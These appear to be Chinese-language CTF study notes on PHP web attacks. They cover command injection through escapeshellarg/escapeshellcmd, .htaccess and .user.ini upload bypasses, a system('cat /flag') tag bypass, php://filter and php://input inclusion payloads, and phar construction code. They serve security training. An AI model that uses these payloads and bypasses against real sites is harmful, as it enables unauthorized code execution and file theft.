CTF WEB
PHP相关
利用scapeshellcmd逃脱escapeshellarg单引号的束缚
传入的参数是:
1
172.17.0.2' shellcode'
经过escapeshellarg处理后变成了
1
'172.17.0.2'\'' shellcode'\'''
即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
经过escapeshellcmd处理后变成
1
'172.17.0.2'\\'' shellcode'\\'''
这是因为escapeshellcmd对\以及最后那个不配对的引号进行了转义:
最后执行的命令是
1
curl '172.17.0.2'\\'' shellcode'\\'''
由于中间的\被解释为\而不再是转义字符,所以后面的’没有被转义,与再后面的’配对成了一个空白连接符
所以可以简化为
1
curl 172.17.0.2\ shellcode'\'
即向172.17.0.2\发起请求,并执行shellcode。
php 单引号只会解析转义字符
1
\\、\’
双引号则会解析变量的值,同时解析所有转义字符
反序列化
- 在$v可控的情况下,可以传入元素为一个对象和函数名的数组,这样$v()就能调用这个对象的方法
- php反序列化逃逸参考这个https://xz.aliyun.com/t/6718
文件上传
低版本ngnix .htaccess 解析漏洞的利用:
1
AddType application/x-httpd-php .png
可以将png文件解析为php
1
<FilesMatch "1">SetHandler application/x-httpd-php</FilesMatch>
把文件名包含1的解析为php
php还可以写作php3,php5,phtml
对<?的过滤可以用下面这个语句绕过
1
2<script language=php>system("cat /flag");</script>
CGI/FastCGI 模式的服务器上.user.ini的利用
auto_prepend_file和auto_append_file我们指定一个文件(如a.jpg),
那么该文件就会被包含在要执行的php文件中(如index.php),类似于在index.php中插入一句:
1
2require(./a.jpg);
这两个设置的区别只是在于auto_prepend_file是在文件前插入
auto_append_file在文件最后插入(当文件调用的有exit()时该设置无效)
双文件上传绕过同时上传两个文件
第一个文件为合法文件,第二个为马。php判断第一个文件合法即令 EnableUplad 的值为 True,是第二个文件成功绕过。
文件包含/读取
file_get_contents:
1
2
3$str = $_GET['cmd'];
$a = file_get_contents($str,'r');
if($a === "XXXX")这时需要给cmd赋为php://input,这样就会读取post中的内容,但post格式不能为 multipart/form-data。
目录穿越时是不能出现文件的,只能是目录。
include:
读取文件时可以利用1
2file=php://filter/read=convert.base64-encode/resource=flag.php
file=php://filter/convert.base64-encode/resource=index.php
读取文件内容。
LFI(local file inclusion vulnerability) To RCE:参考[这个](https://bbs.zkaq.cn/t/3639.html[https://www.k0rz3n.com/2018/11/20/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8B%20PHP%20%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/#5-proc-self-environ](https://www.k0rz3n.com/2018/11/20/一篇文章带你理解漏洞之 PHP 文件包含漏洞/#5-proc-self-environ))
phar:
1
2
3
4
5
6
7
8
9
10<?php
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");//设置stub
$phar->addFromString("head.txt", "<?php phpinfo();?>"); //添加要压缩的文件及内容
//签名自动计算
$phar->stopBuffering();
?>
data:
1
2
3
4
5
6
7
8
9
10
11
12
13data:,<文本数据>
data:text/plain,<文本数据>
data:text/html,<HTML代码>
data:text/html;base64,<base64编码的HTML代码>
data:text/css,<CSS代码>
data:text/css;base64,<base64编码的CSS代码>
data:text/javascript,<Javascript代码>
data:text/javascript;base64,<base64编码的Javascript代码>
data:image/gif;base64,base64编码的gif图片数据
data:image/png;base64,base64编码的png图片数据
data:image/jpeg;base64,base64编码的jpeg图片数据
data:image/x-icon;base64,base64编码的icon图片数据
包含session
session默认存放位置
- /var/lib/php/sess_PHPSESSID
- /var/lib/php/sessions/sess_PHPSESSID
- /tmp/sess_PHPSESSID/tmp/sessions/sess_PHPSESSID